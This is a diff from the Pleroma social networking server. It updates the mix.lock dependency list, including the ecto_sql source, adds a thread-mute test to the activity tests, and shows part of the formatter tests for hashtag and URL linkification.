	"accept": {:hex, :accept, "0.3.5", "b33b127abca7cc948bbe6caa4c263369abf1347cfa9d8e699c6d214660f10cd1", [:rebar3], [], "hexpm"},
	"auto_linker": {:git, "https://git.pleroma.social/pleroma/auto_linker.git", "c00c4e75b35367fa42c95ffd9b8c455bf9995829", [ref: "c00c4e75b35367fa42c95ffd9b8c455bf9995829"]},
	"base64url": {:hex, :base64url, "0.0.1", "36a90125f5948e3afd7be97662a1504b934dd5dac78451ca6e9abf85a10286be", [:rebar], [], "hexpm"},
	"bbcode": {:hex, :bbcode, "0.1.0", "400e618b640b635261611d7fb7f79d104917fc5b084aae371ab6b08477cb035b", [:mix], [{:nimble_parsec, "~> 0.5", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm"},
	"benchee": {:hex, :benchee, "1.0.1", "66b211f9bfd84bd97e6d1beaddf8fc2312aaabe192f776e8931cb0c16f53a521", [:mix], [{:deep_merge, "~> 1.0", [hex: :deep_merge, repo: "hexpm", optional: false]}], "hexpm"},
	"bunt": {:hex, :bunt, "0.2.0", "951c6e801e8b1d2cbe58ebbd3e616a869061ddadcc4863d0a2182541acae9a38", [:mix], [], "hexpm"},
	"cachex": {:hex, :cachex, "3.0.2", "1351caa4e26e29f7d7ec1d29b53d6013f0447630bbf382b4fb5d5bad0209f203", [:mix], [{:eternal, "~> 1.2", [hex: :eternal, repo: "hexpm", optional: false]}, {:unsafe, "~> 1.0", [hex: :unsafe, repo: "hexpm", optional: false]}], "hexpm"},
	"calendar": {:hex, :calendar, "0.17.4", "22c5e8d98a4db9494396e5727108dffb820ee0d18fed4b0aa8ab76e4f5bc32f1", [:mix], [{:tzdata, "~> 0.5.8 or ~> 0.1.201603", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm"},
	"certifi": {:hex, :certifi, "2.5.1", "867ce347f7c7d78563450a18a6a28a8090331e77fa02380b4a21962a65d36ee5", [:rebar3], [{:parse_trans, "~>3.3", [hex: :parse_trans, repo: "hexpm", optional: false]}], "hexpm"},
	"combine": {:hex, :combine, "0.10.0", "eff8224eeb56498a2af13011d142c5e7997a80c8f5b97c499f84c841032e429f", [:mix], [], "hexpm"},
	"comeonin": {:hex, :comeonin, "4.1.1", "c7304fc29b45b897b34142a91122bc72757bc0c295e9e824999d5179ffc08416", [:mix], [{:argon2_elixir, "~> 1.2", [hex: :argon2_elixir, repo: "hexpm", optional: true]}, {:bcrypt_elixir, "~> 0.12.1 or ~> 1.0", [hex: :bcrypt_elixir, repo: "hexpm", optional: true]}, {:pbkdf2_elixir, "~> 0.12", [hex: :pbkdf2_elixir, repo: "hexpm", optional: true]}], "hexpm"},
	"connection": {:hex, :connection, "1.0.4", "a1cae72211f0eef17705aaededacac3eb30e6625b04a6117c1b2db6ace7d5976", [:mix], [], "hexpm"},
	"cors_plug": {:hex, :cors_plug, "1.5.2", "72df63c87e4f94112f458ce9d25800900cc88608c1078f0e4faddf20933eda6e", [:mix], [{:plug, "~> 1.3 or ~> 1.4 or ~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
	"cowboy": {:hex, :cowboy, "2.6.1", "f2e06f757c337b3b311f9437e6e072b678fcd71545a7b2865bdaa154d078593f", [:rebar3], [{:cowlib, "~> 2.7.0", [hex: :cowlib, repo: "hexpm", optional: false]}, {:ranch, "~> 1.7.1", [hex: :ranch, repo: "hexpm", optional: false]}], "hexpm"},
	"cowlib": {:hex, :cowlib, "2.7.0", "3ef16e77562f9855a2605900cedb15c1462d76fb1be6a32fc3ae91973ee543d2", [:rebar3], [], "hexpm"},
	"credo": {:hex, :credo, "0.9.3", "76fa3e9e497ab282e0cf64b98a624aa11da702854c52c82db1bf24e54ab7c97a", [:mix], [{:bunt, "~> 0.2.0", [hex: :bunt, repo: "hexpm", optional: false]}, {:poison, ">= 0.0.0", [hex: :poison, repo: "hexpm", optional: false]}], "hexpm"},
	"crypt": {:git, "https://github.com/msantos/crypt", "1f2b58927ab57e72910191a7ebaeff984382a1d3", [ref: "1f2b58927ab57e72910191a7ebaeff984382a1d3"]},
	"db_connection": {:hex, :db_connection, "2.0.6", "bde2f85d047969c5b5800cb8f4b3ed6316c8cb11487afedac4aa5f93fd39abfa", [:mix], [{:connection, "~> 1.0.2", [hex: :connection, repo: "hexpm", optional: false]}], "hexpm"},
	"decimal": {:hex, :decimal, "1.7.0", "30d6b52c88541f9a66637359ddf85016df9eb266170d53105f02e4a67e00c5aa", [:mix], [], "hexpm"},
	"deep_merge": {:hex, :deep_merge, "1.0.0", "b4aa1a0d1acac393bdf38b2291af38cb1d4a52806cf7a4906f718e1feb5ee961", [:mix], [], "hexpm"},
	"earmark": {:hex, :earmark, "1.3.2", "b840562ea3d67795ffbb5bd88940b1bed0ed9fa32834915125ea7d02e35888a5", [:mix], [], "hexpm"},
	"ecto": {:hex, :ecto, "3.1.4", "69d852da7a9f04ede725855a35ede48d158ca11a404fe94f8b2fb3b2162cd3c9", [:mix], [{:decimal, "~> 1.6", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm"},
	- "ecto_sql": {:git, "https://github.com/elixir-ecto/ecto_sql", "14cb065a74c488d737d973f7a91bc036c6245f78", [ref: "14cb065a74c488d737d973f7a91bc036c6245f78"]},
	+ "ecto_sql": {:hex, :ecto_sql, "3.1.3", "2c536139190492d9de33c5fefac7323c5eaaa82e1b9bf93482a14649042f7cd9", [:mix], [{:db_connection, "~> 2.0", [hex: :db_connection, repo: "hexpm", optional: false]}, {:ecto, "~> 3.1.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:mariaex, "~> 0.9.1", [hex: :mariaex, repo: "hexpm", optional: true]}, {:myxql, "~> 0.2.0", [hex: :myxql, repo: "hexpm", optional: true]}, {:postgrex, "~> 0.14.0", [hex: :postgrex, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm"},
	"esshd": {:hex, :esshd, "0.1.0", "6f93a2062adb43637edad0ea7357db2702a4b80dd9683482fe00f5134e97f4c1", [:mix], [], "hexpm"},
	"eternal": {:hex, :eternal, "1.2.0", "e2a6b6ce3b8c248f7dc31451aefca57e3bdf0e48d73ae5043229380a67614c41", [:mix], [], "hexpm"},
	"ex2ms": {:hex, :ex2ms, "1.5.0", "19e27f9212be9a96093fed8cdfbef0a2b56c21237196d26760f11dfcfae58e97", [:mix], [], "hexpm"},
	"ex_aws": {:hex, :ex_aws, "2.1.0", "b92651527d6c09c479f9013caa9c7331f19cba38a650590d82ebf2c6c16a1d8a", [:mix], [{:configparser_ex, "~> 2.0", [hex: :configparser_ex, repo: "hexpm", optional: true]}, {:hackney, "1.6.3 or 1.6.5 or 1.7.1 or 1.8.6 or ~> 1.9", [hex: :hackney, repo: "hexpm", optional: true]}, {:jsx, "~> 2.8", [hex: :jsx, repo: "hexpm", optional: true]}, {:poison, ">= 1.2.0", [hex: :poison, repo: "hexpm", optional: true]}, {:sweet_xml, "~> 0.6", [hex: :sweet_xml, repo: "hexpm", optional: true]}, {:xml_builder, "~> 0.1.0", [hex: :xml_builder, repo: "hexpm", optional: true]}], "hexpm"},
	"ex_aws_s3": {:hex, :ex_aws_s3, "2.0.1", "9e09366e77f25d3d88c5393824e613344631be8db0d1839faca49686e99b6704", [:mix], [{:ex_aws, "~> 2.0", [hex: :ex_aws, repo: "hexpm", optional: false]}, {:sweet_xml, ">= 0.0.0", [hex: :sweet_xml, repo: "hexpm", optional: true]}], "hexpm"},
	"ex_doc": {:hex, :ex_doc, "0.20.2", "1bd0dfb0304bade58beb77f20f21ee3558cc3c753743ae0ddbb0fd7ba2912331", [:mix], [{:earmark, "~> 1.3", [hex: :earmark, repo: "hexpm", optional: false]}, {:makeup_elixir, "~> 0.10", [hex: :makeup_elixir, repo: "hexpm", optional: false]}], "hexpm"},
	"ex_machina": {:hex, :ex_machina, "2.3.0", "92a5ad0a8b10ea6314b876a99c8c9e3f25f4dde71a2a835845b136b9adaf199a", [:mix], [{:ecto, "~> 2.2 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}, {:ecto_sql, "~> 3.0", [hex: :ecto_sql, repo: "hexpm", optional: true]}], "hexpm"},
	"ex_rated": {:hex, :ex_rated, "1.3.2", "6aeb32abb46ea6076f417a9ce8cb1cf08abf35fb2d42375beaad4dd72b550bf1", [:mix], [{:ex2ms, "~> 1.5", [hex: :ex2ms, repo: "hexpm", optional: false]}], "hexpm"},
	"ex_syslogger": {:git, "https://github.com/slashmili/ex_syslogger.git", "f3963399047af17e038897c69e20d552e6899e1d", [tag: "1.4.0"]},
	"excoveralls": {:hex, :excoveralls, "0.11.1", "dd677fbdd49114fdbdbf445540ec735808250d56b011077798316505064edb2c", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm"},
	"floki": {:hex, :floki, "0.20.4", "be42ac911fece24b4c72f3b5846774b6e61b83fe685c2fc9d62093277fb3bc86", [:mix], [{:html_entities, "~> 0.4.0", [hex: :html_entities, repo: "hexpm", optional: false]}, {:mochiweb, "~> 2.15", [hex: :mochiweb, repo: "hexpm", optional: false]}], "hexpm"},
	"gen_smtp": {:hex, :gen_smtp, "0.13.0", "11f08504c4bdd831dc520b8f84a1dce5ce624474a797394e7aafd3c29f5dcd25", [:rebar3], [], "hexpm"},
	"gettext": {:hex, :gettext, "0.15.0", "40a2b8ce33a80ced7727e36768499fc9286881c43ebafccae6bab731e2b2b8ce", [:mix], [], "hexpm"},
	"hackney": {:hex, :hackney, "1.15.1", "9f8f471c844b8ce395f7b6d8398139e26ddca9ebc171a8b91342ee15a19963f4", [:rebar3], [{:certifi, "2.5.1", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "6.0.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "1.0.1", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~>1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "1.1.4", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}], "hexpm"},
	"html_entities": {:hex, :html_entities, "0.4.0", "f2fee876858cf6aaa9db608820a3209e45a087c5177332799592142b50e89a6b", [:mix], [], "hexpm"},
	"html_sanitize_ex": {:hex, :html_sanitize_ex, "1.3.0", "f005ad692b717691203f940c686208aa3d8ffd9dd4bb3699240096a51fa9564e", [:mix], [{:mochiweb, "~> 2.15", [hex: :mochiweb, repo: "hexpm", optional: false]}], "hexpm"},
	"http_signatures": {:git, "https://git.pleroma.social/pleroma/http_signatures.git", "9789401987096ead65646b52b5a2ca6bf52fc531", [ref: "9789401987096ead65646b52b5a2ca6bf52fc531"]},
	"httpoison": {:hex, :httpoison, "1.2.0", "2702ed3da5fd7a8130fc34b11965c8cfa21ade2f232c00b42d96d4967c39a3a3", [:mix], [{:hackney, "~> 1.8", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm"},
	"idna": {:hex, :idna, "6.0.0", "689c46cbcdf3524c44d5f3dde8001f364cd7608a99556d8fbd8239a5798d4c10", [:rebar3], [{:unicode_util_compat, "0.4.1", [hex: :unicode_util_compat, repo: "hexpm", optional: false]}], "hexpm"},
	"jason": {:hex, :jason, "1.1.2", "b03dedea67a99223a2eaf9f1264ce37154564de899fd3d8b9a21b1a6fd64afe7", [:mix], [{:decimal, "~> 1.0", [hex: :decimal, repo: "hexpm", optional: true]}], "hexpm"},
	"jose": {:hex, :jose, "1.8.4", "7946d1e5c03a76ac9ef42a6e6a20001d35987afd68c2107bcd8f01a84e75aa73", [:mix, :rebar3], [{:base64url, "~> 0.0.1", [hex: :base64url, repo: "hexpm", optional: false]}], "hexpm"},
	"makeup": {:hex, :makeup, "0.8.0", "9cf32aea71c7fe0a4b2e9246c2c4978f9070257e5c9ce6d4a28ec450a839b55f", [:mix], [{:nimble_parsec, "~> 0.5.0", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm"},
	"makeup_elixir": {:hex, :makeup_elixir, "0.13.0", "be7a477997dcac2e48a9d695ec730b2d22418292675c75aa2d34ba0909dcdeda", [:mix], [{:makeup, "~> 0.8", [hex: :makeup, repo: "hexpm", optional: false]}], "hexpm"},
	"meck": {:hex, :meck, "0.8.13", "ffedb39f99b0b99703b8601c6f17c7f76313ee12de6b646e671e3188401f7866", [:rebar3], [], "hexpm"},
	"metrics": {:hex, :metrics, "1.0.1", "25f094dea2cda98213cecc3aeff09e940299d950904393b2a29d191c346a8486", [:rebar3], [], "hexpm"},
	"mime": {:hex, :mime, "1.3.1", "30ce04ab3175b6ad0bdce0035cba77bba68b813d523d1aac73d9781b4d193cf8", [:mix], [], "hexpm"},
	"mimerl": {:hex, :mimerl, "1.2.0", "67e2d3f571088d5cfd3e550c383094b47159f3eee8ffa08e64106cdf5e981be3", [:rebar3], [], "hexpm"},
	"mochiweb": {:hex, :mochiweb, "2.15.0", "e1daac474df07651e5d17cc1e642c4069c7850dc4508d3db7263a0651330aacc", [:rebar3], [], "hexpm"},
	"mock": {:hex, :mock, "0.3.3", "42a433794b1291a9cf1525c6d26b38e039e0d3a360732b5e467bfc77ef26c914", [:mix], [{:meck, "~> 0.8.13", [hex: :meck, repo: "hexpm", optional: false]}], "hexpm"},
	"mogrify": {:hex, :mogrify, "0.6.1", "de1b527514f2d95a7bbe9642eb556061afb337e220cf97adbf3a4e6438ed70af", [:mix], [], "hexpm"},
	"nimble_parsec": {:hex, :nimble_parsec, "0.5.0", "90e2eca3d0266e5c53f8fbe0079694740b9c91b6747f2b7e3c5d21966bba8300", [:mix], [], "hexpm"},
	"parse_trans": {:hex, :parse_trans, "3.3.0", "09765507a3c7590a784615cfd421d101aec25098d50b89d7aa1d66646bc571c1", [:rebar3], [], "hexpm"},
	"pbkdf2_elixir": {:hex, :pbkdf2_elixir, "0.12.3", "6706a148809a29c306062862c803406e88f048277f6e85b68faf73291e820b84", [:mix], [], "hexpm"},
	"phoenix": {:hex, :phoenix, "1.4.1", "801f9d632808657f1f7c657c8bbe624caaf2ba91429123ebe3801598aea4c3d9", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:phoenix_pubsub, "~> 1.1", [hex: :phoenix_pubsub, repo: "hexpm", optional: false]}, {:plug, "~> 1.7", [hex: :plug, repo: "hexpm", optional: false]}, {:plug_cowboy, "~> 1.0 or ~> 2.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}], "hexpm"},
	"phoenix_ecto": {:hex, :phoenix_ecto, "4.0.0", "c43117a136e7399ea04ecaac73f8f23ee0ffe3e07acfcb8062fe5f4c9f0f6531", [:mix], [{:ecto, "~> 3.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 2.9", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
	"phoenix_html": {:hex, :phoenix_html, "2.13.1", "fa8f034b5328e2dfa0e4131b5569379003f34bc1fafdaa84985b0b9d2f12e68b", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
	"phoenix_pubsub": {:hex, :phoenix_pubsub, "1.1.1", "6668d787e602981f24f17a5fbb69cc98f8ab085114ebfac6cc36e10a90c8e93c", [:mix], [], "hexpm"},
	"pleroma_job_queue": {:hex, :pleroma_job_queue, "0.2.0", "879e660aa1cebe8dc6f0aaaa6aa48b4875e89cd961d4a585fd128e0773b31a18", [:mix], [], "hexpm"},
	"plug": {:hex, :plug, "1.7.2", "d7b7db7fbd755e8283b6c0a50be71ec0a3d67d9213d74422d9372effc8e87fd1", [:mix], [{:mime, "~> 1.0", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_crypto, "~> 1.0", [hex: :plug_crypto, repo: "hexpm", optional: false]}], "hexpm"},
	"plug_cowboy": {:hex, :plug_cowboy, "2.0.1", "d798f8ee5acc86b7d42dbe4450b8b0dadf665ce588236eb0a751a132417a980e", [:mix], [{:cowboy, "~> 2.5", [hex: :cowboy, repo: "hexpm", optional: false]}, {:plug, "~> 1.7", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
	"plug_crypto": {:hex, :plug_crypto, "1.0.0", "18e49317d3fa343f24620ed22795ec29d4a5e602d52d1513ccea0b07d8ea7d4d", [:mix], [], "hexpm"},
	"plug_static_index_html": {:hex, :plug_static_index_html, "1.0.0", "840123d4d3975585133485ea86af73cb2600afd7f2a976f9f5fd8b3808e636a0", [:mix], [{:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
	"poison": {:hex, :poison, "3.1.0", "d9eb636610e096f86f25d9a46f35a9facac35609a7591b3be3326e99a0484665", [:mix], [], "hexpm"},
	"poolboy": {:hex, :poolboy, "1.5.2", "392b007a1693a64540cead79830443abf5762f5d30cf50bc95cb2c1aaafa006b", [:rebar3], [], "hexpm"},
	"postgrex": {:hex, :postgrex, "0.14.3", "5754dee2fdf6e9e508cbf49ab138df964278700b764177e8f3871e658b345a1e", [:mix], [{:connection, "~> 1.0", [hex: :connection, repo: "hexpm", optional: false]}, {:db_connection, "~> 2.0", [hex: :db_connection, repo: "hexpm", optional: false]}, {:decimal, "~> 1.5", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm"},
	"prometheus": {:hex, :prometheus, "4.2.2", "a830e77b79dc6d28183f4db050a7cac926a6c58f1872f9ef94a35cd989aceef8", [:mix, :rebar3], [], "hexpm"},
	"prometheus_ecto": {:hex, :prometheus_ecto, "1.4.1", "6c768ea9654de871e5b32fab2eac348467b3021604ebebbcbd8bcbe806a65ed5", [:mix], [{:ecto, "~> 2.0 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.1 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}], "hexpm"},
	"prometheus_ex": {:hex, :prometheus_ex, "3.0.5", "fa58cfd983487fc5ead331e9a3e0aa622c67232b3ec71710ced122c4c453a02f", [:mix], [{:prometheus, "~> 4.0", [hex: :prometheus, repo: "hexpm", optional: false]}], "hexpm"},
	"prometheus_phoenix": {:hex, :prometheus_phoenix, "1.2.1", "964a74dfbc055f781d3a75631e06ce3816a2913976d1df7830283aa3118a797a", [:mix], [{:phoenix, "~> 1.3", [hex: :phoenix, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.3 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}], "hexpm"},
	"prometheus_plugs": {:hex, :prometheus_plugs, "1.1.5", "25933d48f8af3a5941dd7b621c889749894d8a1082a6ff7c67cc99dec26377c5", [:mix], [{:accept, "~> 0.1", [hex: :accept, repo: "hexpm", optional: false]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.1 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}, {:prometheus_process_collector, "~> 1.1", [hex: :prometheus_process_collector, repo: "hexpm", optional: true]}], "hexpm"},
	"prometheus_process_collector": {:hex, :prometheus_process_collector, "1.4.0", "6dbd39e3165b9ef1c94a7a820e9ffe08479f949dcdd431ed4aaea7b250eebfde", [:rebar3], [{:prometheus, "~> 4.0", [hex: :prometheus, repo: "hexpm", optional: false]}], "hexpm"},
	"quack": {:hex, :quack, "0.1.1", "cca7b4da1a233757fdb44b3334fce80c94785b3ad5a602053b7a002b5a8967bf", [:mix], [{:poison, ">= 1.0.0", [hex: :poison, repo: "hexpm", optional: false]}, {:tesla, "~> 1.2.0", [hex: :tesla, repo: "hexpm", optional: false]}], "hexpm"},
	"ranch": {:hex, :ranch, "1.7.1", "6b1fab51b49196860b733a49c07604465a47bdb78aa10c1c16a3d199f7f8c881", [:rebar3], [], "hexpm"},
	"recon": {:git, "https://github.com/ferd/recon.git", "75d70c7c08926d2f24f1ee6de14ee50fe8a52763", [tag: "2.4.0"]},
	"ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.4", "f0eafff810d2041e93f915ef59899c923f4568f4585904d010387ed74988e77b", [:make, :mix, :rebar3], [], "hexpm"},
	"swoosh": {:hex, :swoosh, "0.20.0", "9a6c13822c9815993c03b6f8fccc370fcffb3c158d9754f67b1fdee6b3a5d928", [:mix], [{:cowboy, "~> 1.0.1 or ~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:gen_smtp, "~> 0.12", [hex: :gen_smtp, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mime, "~> 1.1", [hex: :mime, repo: "hexpm", optional: false]}, {:plug, "~> 1.4", [hex: :plug, repo: "hexpm", optional: true]}], "hexpm"},
	"syslog": {:git, "https://github.com/Vagabond/erlang-syslog.git", "4a6c6f2c996483e86c1320e9553f91d337bcb6aa", [tag: "1.0.5"]},
	"telemetry": {:hex, :telemetry, "0.4.0", "8339bee3fa8b91cb84d14c2935f8ecf399ccd87301ad6da6b71c09553834b2ab", [:rebar3], [], "hexpm"},
	"tesla": {:hex, :tesla, "1.2.1", "864783cc27f71dd8c8969163704752476cec0f3a51eb3b06393b3971dc9733ff", [:mix], [{:exjsx, ">= 3.0.0", [hex: :exjsx, repo: "hexpm", optional: true]}, {:fuse, "~> 2.4", [hex: :fuse, repo: "hexpm", optional: true]}, {:hackney, "~> 1.6", [hex: :hackney, repo: "hexpm", optional: true]}, {:ibrowse, "~> 4.4.0", [hex: :ibrowse, repo: "hexpm", optional: true]}, {:jason, ">= 1.0.0", [hex: :jason, repo: "hexpm", optional: true]}, {:mime, "~> 1.0", [hex: :mime, repo: "hexpm", optional: false]}, {:poison, ">= 1.0.0", [hex: :poison, repo: "hexpm", optional: true]}], "hexpm"},
	"timex": {:hex, :timex, "3.5.0", "b0a23167da02d0fe4f1a4e104d1f929a00d348502b52432c05de875d0b9cffa5", [:mix], [{:combine, "~> 0.10", [hex: :combine, repo: "hexpm", optional: false]}, {:gettext, "~> 0.10", [hex: :gettext, repo: "hexpm", optional: false]}, {:tzdata, "~> 0.1.8 or ~> 0.5", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm"},
	"trailing_format_plug": {:hex, :trailing_format_plug, "0.0.7", "64b877f912cf7273bed03379936df39894149e35137ac9509117e59866e10e45", [:mix], [{:plug, "> 0.12.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
	"tzdata": {:hex, :tzdata, "0.5.20", "304b9e98a02840fb32a43ec111ffbe517863c8566eb04a061f1c4dbb90b4d84c", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm"},
	"ueberauth": {:hex, :ueberauth, "0.6.1", "9e90d3337dddf38b1ca2753aca9b1e53d8a52b890191cdc55240247c89230412", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
	"unicode_util_compat": {:hex, :unicode_util_compat, "0.4.1", "d869e4c68901dd9531385bb0c8c40444ebf624e60b6962d95952775cac5e90cd", [:rebar3], [], "hexpm"},
	"unsafe": {:hex, :unsafe, "1.0.0", "7c21742cd05380c7875546b023481d3a26f52df8e5dfedcb9f958f322baae305", [:mix], [], "hexpm"},
	"web_push_encryption": {:hex, :web_push_encryption, "0.2.1", "d42cecf73420d9dc0053ba3299cc8c8d6ff2be2487d67ca2a57265868e4d9a98", [:mix], [{:httpoison, "~> 1.0", [hex: :httpoison, repo: "hexpm", optional: false]}, {:jose, "~> 1.8", [hex: :jose, repo: "hexpm", optional: false]}, {:poison, "~> 3.0", [hex: :poison, repo: "hexpm", optional: false]}], "hexpm"},
	"websocket_client": {:git, "https://github.com/jeremyong/websocket_client.git", "9a6f65d05ebf2725d62fb19262b21f1805a59fbf", []},
	}
	diff --git a/test/activity_test.exs b/test/activity_test.exs
	index 7e91d534b..15c95502a 100644
	--- a/test/activity_test.exs
	+++ b/test/activity_test.exs
	@@ -1,76 +1,102 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ActivityTest do
	use Pleroma.DataCase
	alias Pleroma.Activity
	alias Pleroma.Bookmark
	+ alias Pleroma.ThreadMute
	import Pleroma.Factory

	test "returns an activity by it's AP id" do
	activity = insert(:note_activity)
	found_activity = Activity.get_by_ap_id(activity.data["id"])

	assert activity == found_activity
	end

	test "returns activities by it's objects AP ids" do
	activity = insert(:note_activity)
	[found_activity] = Activity.get_all_create_by_object_ap_id(activity.data["object"]["id"])

	assert activity == found_activity
	end

	test "returns the activity that created an object" do
	activity = insert(:note_activity)

	found_activity = Activity.get_create_by_object_ap_id(activity.data["object"]["id"])

	assert activity == found_activity
	end

	test "preloading a bookmark" do
	user = insert(:user)
	user2 = insert(:user)
	user3 = insert(:user)
	activity = insert(:note_activity)
	{:ok, _bookmark} = Bookmark.create(user.id, activity.id)
	{:ok, _bookmark2} = Bookmark.create(user2.id, activity.id)
	{:ok, bookmark3} = Bookmark.create(user3.id, activity.id)

	queried_activity =
	Ecto.Query.from(Pleroma.Activity)
	\|> Activity.with_preloaded_bookmark(user3)
	\|> Repo.one()

	assert queried_activity.bookmark == bookmark3
	end

	+ test "setting thread_muted?" do
	+ activity = insert(:note_activity)
	+ user = insert(:user)
	+ annoyed_user = insert(:user)
	+ {:ok, _} = ThreadMute.add_mute(annoyed_user.id, activity.data["context"])
	+
	+ activity_with_unset_thread_muted_field =
	+ Ecto.Query.from(Activity)
	+ \|> Repo.one()
	+
	+ activity_for_user =
	+ Ecto.Query.from(Activity)
	+ \|> Activity.with_set_thread_muted_field(user)
	+ \|> Repo.one()
	+
	+ activity_for_annoyed_user =
	+ Ecto.Query.from(Activity)
	+ \|> Activity.with_set_thread_muted_field(annoyed_user)
	+ \|> Repo.one()
	+
	+ assert activity_with_unset_thread_muted_field.thread_muted? == nil
	+ assert activity_for_user.thread_muted? == false
	+ assert activity_for_annoyed_user.thread_muted? == true
	+ end
	+
	describe "getting a bookmark" do
	test "when association is loaded" do
	user = insert(:user)
	activity = insert(:note_activity)
	{:ok, bookmark} = Bookmark.create(user.id, activity.id)

	queried_activity =
	Ecto.Query.from(Pleroma.Activity)
	\|> Activity.with_preloaded_bookmark(user)
	\|> Repo.one()

	assert Activity.get_bookmark(queried_activity, user) == bookmark
	end

	test "when association is not loaded" do
	user = insert(:user)
	activity = insert(:note_activity)
	{:ok, bookmark} = Bookmark.create(user.id, activity.id)

	queried_activity =
	Ecto.Query.from(Pleroma.Activity)
	\|> Repo.one()

	assert Activity.get_bookmark(queried_activity, user) == bookmark
	end
	end
	end
	diff --git a/test/formatter_test.exs b/test/formatter_test.exs
	index 5e7011160..bfa673049 100644
	--- a/test/formatter_test.exs
	+++ b/test/formatter_test.exs
	@@ -1,295 +1,306 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.FormatterTest do
	alias Pleroma.Formatter
	alias Pleroma.User
	use Pleroma.DataCase

	import Pleroma.Factory

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe ".add_hashtag_links" do
	test "turns hashtags into links" do
	text = "I love #cofe and #2hu"

	expected_text =
	"I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"

	assert {^expected_text, [], _tags} = Formatter.linkify(text)
	end

	test "does not turn html characters to tags" do
	text = "#fact_3: pleroma does what mastodon't"

	expected_text =
	"<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"

	assert {^expected_text, [], _tags} = Formatter.linkify(text)
	end
	end

	describe ".add_links" do
	test "turning urls into links" do
	text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."

	expected =
	"Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://mastodon.social/@lambadalambda"

	expected =
	"<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://mastodon.social:4000/@lambadalambda"

	expected =
	"<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "@lambadalambda"
	expected = "@lambadalambda"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "http://www.cs.vu.nl/~ast/intel/"
	expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"

	expected =
	"<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

